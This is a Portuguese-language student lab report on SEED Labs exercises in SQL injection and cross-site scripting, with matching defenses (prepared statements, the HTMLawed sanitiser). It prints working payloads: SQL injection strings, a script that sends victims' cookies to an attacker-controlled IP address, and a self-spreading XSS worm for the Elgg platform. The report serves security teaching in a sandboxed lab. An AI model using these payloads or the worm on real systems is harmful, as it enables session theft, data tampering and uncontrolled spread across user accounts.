Prática de Ataque e Defesa em Rede
Conteúdo da Prática
Nesta prática, exploramos dois tipos principais de ataques cibernéticos: SQL Injection e Cross-Site Scripting (XSS). Utilizamos um ambiente de laboratório SEED para realizar essas atividades.
- Ataque SQL Injection: Testamos vulnerabilidades em uma aplicação web de gerenciamento de funcionários, focando em ataques aos comandos SELECT e UPDATE.
- Ataque XSS: Demonstramos diferentes formas de exploração do XSS em uma plataforma Elgg, incluindo a criação de um XSS worm.
Processo da Prática
Configuração do Ambiente
Inicialmente, tivemos problemas com a instalação do SEEDUbuntu, mas resolvemos baixando uma versão correta do SEEDUbuntu 16.04.
Após a configuração, seguimos os passsos abaixo para instalar o ambiente virtual:
- Crie um novo sistema virtual na VMware.
- Selecione a opção "Custom".
- Escolha Workstation 14.x.
- Opte por "Instalar o sistema operacional mais tarde".
- Selecione Linux como sistema operacional.
- Escolha Ubuntu como distribuição.
- Atribua 2 núcleos de CPU e 2048MB de RAM.
- Configure a rede como NAT.
- Escolha LSI Logic como controlador SCSI.
- Adicione o disco rígido existente SEEDUbuntu-16.04-32bit.vmdk.
Ataque SQL Injection
Familiarização com SQL
Utilizamos o MySQL para consultar um banco de dados chamado Users, contendo informações de funcionários. Exemplos de comandos utilizados:
mysql -u root -p
use Users;
show tables;
select * from credential;
select * from credential where Name='Alice';
Ataque ao SELECT
Identificamos uma vulnerabilidade no formulário de login, permitindo a execução de SQL Injection através da manipulação dos parâmetros GET. Exemplo de payload:
' OR '1'='1
Ataque ao UPDATE
Testamos a modificação de dados através de uma injeção SQL no formulário de edição de perfil do usuário. Payload utilizado:
', salary='2827' where Name='Samy';#
Defesa contra SQL Injection
Implementamos defesas utilizando prepared statements no PHP para evitar injeções SQL:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
Ataque XSS
Descrição do Ataque
Realizamos diversos ataques XSS no Elgg, incluindo a exibição de mensagens, roubo de cookies e criação de um XSS worm.
Exibição de Mensagem
Inserimos um script JavaScript na descrição do perfil para exibir uma mensagem quando alguém visitasse o perfil:
<script>alert("20242827");</script>
Roubo de Cookies
Modificamos o script para enviar os cookies do usuário para um servidor controlado pelo atacante:
<script>document.write('<img src=http://192.168.200.68:1921?c=' + escape(document.cookie) + '>');</script>
Criação de um XSS Worm
Desenvolvemos um worm que se espalha automaticamente entre os usuários:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id='worm' type='text/javascript'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20232822mali"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Defesa contra XSS
Habilitamos o plugin HTMLawed no Elgg para sanitizar entradas e prevenir ataques XSS.
Problemas Encontrados e Soluções
- Problema 1: Erro ao modificar arquivos PHP. Solução: Alterar permissões para modo administrativo.
- Problema 2: Problemas na configuração do ambiente. Solução: Baixar e instalar a versão correta do SEEDUbuntu.
- Problema 3: Falha ao adicionar código JavaScript no campo About Me. Solução: Utilizar o modo Edit HTML para inserir scripts.